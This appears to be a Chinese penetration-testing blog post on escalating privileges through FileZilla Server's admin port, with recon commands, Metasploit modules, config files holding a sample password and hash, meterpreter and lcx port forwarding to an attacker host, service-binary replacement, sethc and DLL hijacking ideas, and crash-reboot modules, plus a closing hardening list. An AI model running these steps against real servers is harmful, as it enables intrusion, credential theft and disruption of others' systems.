FileZilla Server提权与常见问题

2022-09-22 09:52:44 浏览数 (1)

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

FileZilla是一款非常流行的免费、开源FTP软件,分为客户端FileZilla Client和服务器端FileZilla Server两个版本,具备所有FTP软件功能。可控性、有条理的界面和管理多站点的简化方式使得FileZilla Client成为一个方便高效的FTP客户端工具,而FileZilla Server则是一个小巧且支持FTP、FTPS、SFTP等文件传输协议的FTP服务器软件,官方网站:https://filezilla-project.org/

本地测试环境信息:

代码语言:javascript复制
操作系统:Windows Server 2003 x86 & Windows Server 2008 R2 x64
软件版本:FileZilla_Server-0_9_44.exe、FileZilla_3.6.0.2_win32.exe
默认安装路径:C:Program Files (x86)FileZilla Server
FileZilla Server进程:FileZilla Server.exe、FileZilla Server Interface.exe
FileZilla Server服务:FileZilla Server
FileZilla Server端口:21、14147

0x02 信息搜集

(1) 前期信息搜集时我们可以先尝试用Nmap等端口扫描工具进行简单的扫描,这样能够得到目标机器使用的FileZilla软件版本等信息。

(2) 首先利用tasklist /svc命令查看FileZilla相关进程、服务名以及进程PID值。

然后用netstat -ano命令查看PID值为1204的运行端口号是不是默认的14147。

最后再用sc qc "FileZilla Server"命令查看FileZilla Server服务相关配置信息。

(3) 也可以直接使用Metasploit下的filezilla_server模块来查找FileZilla Server软件的安装路径、配置文件以及FTP用户凭证、磁盘权限等信息。

代码语言:javascript复制
windows/gather/credentials/filezilla_server

FileZilla Server Interface.xml配置文件里存放着FileZilla Server服务端在连接时的登录信息,如下表。

代码语言:javascript复制
<FileZillaServer>
  <Settings>
    <Item name="Last Server Address" type="string">127.0.0.1</Item>     //连接IP地址
    <Item name="Last Server Port" type="numeric">14147</Item>           //连接端口号
    <Item name="Last Server Password" type="string">90sec!@#123</Item>  //连接密码
    <Item name="Always use last server" type="numeric">0</Item>
  </Settings>
</FileZillaServer>

FileZilla Server.xml配置文件里存放着FTP用户信息,包括用户、密码、管理目录和权限等,如下表。

代码语言:javascript复制
<FileZillaServer>
  <Settings>
        <Item name="Admin port" type="numeric">14147</Item>
  </Settings>
  <Groups />
  <Users>
     <User Name="3had0w">    //FTP用户
       <Option Name="Pass">e10adc3949ba59abbe56e057f20f883e</Option>  //FTP密码
       <Option Name="Group"></Option>
       <Option Name="Bypass server userlimit">0</Option>
       <Option Name="User Limit">0</Option>
       <Option Name="IP Limit">0</Option>
       <Option Name="Enabled">1</Option>
       <Option Name="Comments"></Option>
       <Option Name="ForceSsl">0</Option>
       <Option Name="8plus3">0</Option>
       <IpFilter>
            <Disallowed />
            <Allowed />
       </IpFilter>
            <Permissions>
                <Permission Dir="C:">        //管理目录为C盘,权限1=有,0=没有
                    <Option Name="FileRead">1</Option>       //有文件读取权限
                    <Option Name="FileWrite">1</Option>      //有文件写入权限
                    <Option Name="FileDelete">1</Option>     //有文件删除权限
                    <Option Name="FileAppend">1</Option>     //有文件追加权限
                    <Option Name="DirCreate">1</Option>      //有创建目录权限
                    <Option Name="DirDelete">1</Option>      //有删除目录权限
                    <Option Name="DirList">1</Option>        //有列出目录权限
                    <Option Name="DirSubdirs">1</Option>     //有加子目录权限
                    <Option Name="IsHome">1</Option>
                    <Option Name="AutoCreate">0</Option>
                </Permission>
            </Permissions>
            <SpeedLimits DlType="0" DlLimit="10" ServerDlLimitBypass="0" UlType="0" UlLimit="10" ServerUlLimitBypass="0">
                <Download />
                <Upload />
            </SpeedLimits>
     </User>
  </Users>
</FileZillaServer>

注:这两个配置文件在安装时默认只给了users组的读取/执行权限,所以在Webshell下没有权限对这两个文件进行修改和删除,但我们在本地机器上连接目标服务器的14147端口后(SYSTEM),如果成功创建、修改、删除用户时配置文件也会随之更新。

0x03 提权过程

(1) 将目标机器上的C:Program Files (x86)FileZilla Server整个文件夹打包下载到我们本地,然后在Meterpreter会话中用portfwd命令将目标机器运行的Filezilla Server软件管理端口14147给转发到我们Kali机器的12345端口。

代码语言:javascript复制
meterpreter > portfwd add -r 127.0.0.1 -p 14147 -l 12345

(2) 这里因为我们已经将目标机器的14147端口转发到了Kali机器12345端口了,所以在本地机器上运行Filezilla Server软件时填写的是Kali机器的IP地址和端口,否则可能连接不上。

(3) 我们连接上Filezilla Server软件后就可以创建FTP用户名和密码了,这里笔者创建了一个具有C盘权限的FTP用户,并给予了文件的读取/写入/删除/追加,目录的列出/创建/删除等权限。

(4) 提权思路在后边会有一个简单总结,这里笔者就先以“替换系统服务”进行举例。在我们成功创建FTP用户后先不着急去FTP客户端连接,先在“中国菜刀”的命令行中执行以下命令找一个以SYSTEM权限运行,启动方式为Auto的服务,或用sc qc MySQLa命令查看。

代码语言:javascript复制
wmic service get Name,State,PathName,StartMode,StartName | findstr /i "Auto" | findstr /i "LocalSystem" | findstr /i "Running"

(5) FTP客户端里替换我们刚找到的C:phpStudyMySQLbinmysqld.exe文件为我们的攻击载荷文件,然后通过某些蓝屏重启EXP或者等待服务器管理员重启服务器,从而达到权限提升目的,Metasploit下的蓝屏重启模块有以下几个。

代码语言:javascript复制
MS12-020 - CVE-2012-0002 - KB2621440  -(auxiliary/dos/windows/rdp/ms12_020_maxchannelids)
MS15-034 - CVE-2015-1635 - KB3042553  -(auxiliary/dos/http/ms15_034_ulonglongadd)
CVE-2018-8897  -(exploit/windows/local/mov_ss)
[...SNIP...]

注:如果经常遇到获取Meterpreter会话后自动断开的情况,可以尝试在监听模块设置下自动运行进程迁移脚本的参数可能就好了。

代码语言:javascript复制
set AutoRunScript post/windows/manage/migrate NAME=notepad.exe

0x04 思路总结

代码语言:javascript复制
1、LPK.DLL劫持,将lpk.dll上传至可执行文件目录下。(2003,不用重启!)
2、替换系统程序,C:WindowsSystem32sethc.exe。(2003,不用重启!)
3、替换系统服务,找启动方式为Auto(自动)服务,替换对应程序。(2008,需要重启!)
4、篡改快捷方式,如:phpStudy.lnk,C:phpStudyphpStudy.exe。(需要管理员打开快捷方式!)
5、上传启动目录,C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup(2008,需要重启并登录!)

0x05 常见问题

本地机器监听51端口,连接用14147端口,实战中如果本地属内网环境需要先在路由器将51端口映射出来,然后执行监听,成功接收到返回数据后再连接Filezilla Server。

代码语言:javascript复制
本地机器:
C:>lcx.exe -listen 51 14147

目标机器:
/c C:aspSmartUploadlcx.exe -slave {攻击者外网IP} 51 127.0.0.1 14147

lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。

代码语言:javascript复制
TCP       9*.1*9.4.1*3:139        0.0.0.0:0               LISTENING         4
TCP       9*.1*9.4.1*3:54133      1*3.2*1.*7.1*8:51       ESTABLISHED     2028
TCP       127.0.0.1:53            0.0.0.0:0               LISTENING       1040
TCP       127.0.0.1:14147         0.0.0.0:0               LISTENING       1088
TCP       127.0.0.1:14147         127.0.0.1:49160         ESTABLISHED     1088
TCP       127.0.0.1:49160         127.0.0.1:14147         ESTABLISHED     5736

问题描述1:

可以通过lcx.exe工具将FileZilla Server的14147端口转发出来,但是返回数据中出错了,最终导致连接不上FileZilla Server。

解决办法1:

Meterpreter会话中使用portfwd命令进行转发,然后即可连接上目标的FileZilla Server。

问题描述2:

连接上FileZilla Server并成功添加一个具备C盘权限的FTP用户,但在连接时仍然报错。

代码语言:javascript复制
CMD命令行和FlashFXP连接报错:
421 Server is locked, please try again later.

解决办法2:

在FileZilla Server软件界面中找到一个“锁”图标,只需点击一下解锁即可连接FTP了。

0x06 新版变更

(1) 运行FileZilla Server 0.9.60_2前必须安装KB2533623补丁,否则可能出现以下报错。

(2) 这个版本中删除了FileZilla Server Interface.xml,而且对FileZilla Server.xml存储的FTP密码的加密方式也进行了变更,加了SALT,无法直接通过解密Md5密文得到FTP的明文密码,但是仍然可以通过转发14147端口连接FileZilla Server并修改FTP密码和权限,这个方法不到万不得已并不建议使用。

0x07 注意事项

  1. 在实际渗透测试过程中请注意备份要替换的文件,方便我们能够快速恢复到原始状态。
  2. 本地机器连接上FileZilla Server后关闭Eidt->Settings->Logging、SSL/TLS、Autoban选项。
  3. 自己安装的FileZilla Server可能会因为与目标版本不一致而出现“版本不同,协议错误”等问题。
  4. FileZilla Server>=0.9.44不再支持XP、2003,如需在低版本操作系统上测试时请选择<=0.9.43。
  5. FTP分为主动和被动连接,Filezilla的21端口不能被转发出来,21端口转发出来后被动连接就会变成主动连接,而Filezilla是不支持主动连接的,就会发生积极拒绝的情况:“504 MODE Z not enabled”或者“数据socket错误:连接已拒绝”。
  6. 2008及以上系统的权限配置上要比2003严格的多,所以不能对System32目录下的文件进行修改/删除/重命名等操作,也就是不能用“替换系统程序”进行提权,用“替换系统服务”进行提权时建议找第三方服务,如:Apache2a、MySQLa等。在进入系统后替换的服务会处于停止状态,需要恢复替换文件并重启这个服务。

0x08 加固方案

  1. 新建一个FileZilla用户(Users组),用这个用户来运行“FileZilla Server”服务。
  2. 删除“FileZilla Server”安装目录Users组所有权限,添加FileZilla用户所有权限。
  3. FileZilla Server管理密码和FTP密码尽可能的设置复杂一些(字母 数字 特殊字符)。
  4. 启动日志记录(默认关闭),Edit->Settings->Logging->Enable logging to file、Use a different logfile each day。

0x09 参考链接

  • https://helpcdn.aliyun.com/knowledge_detail/49564.html
  • https://forum.filezilla-project.org/viewtopic.php?p=143188
  • https://support.microsoft.com/en-us/help/2533623/microsoft-security-advisory-insecure-library-loading-could-allow-remot

0 人点赞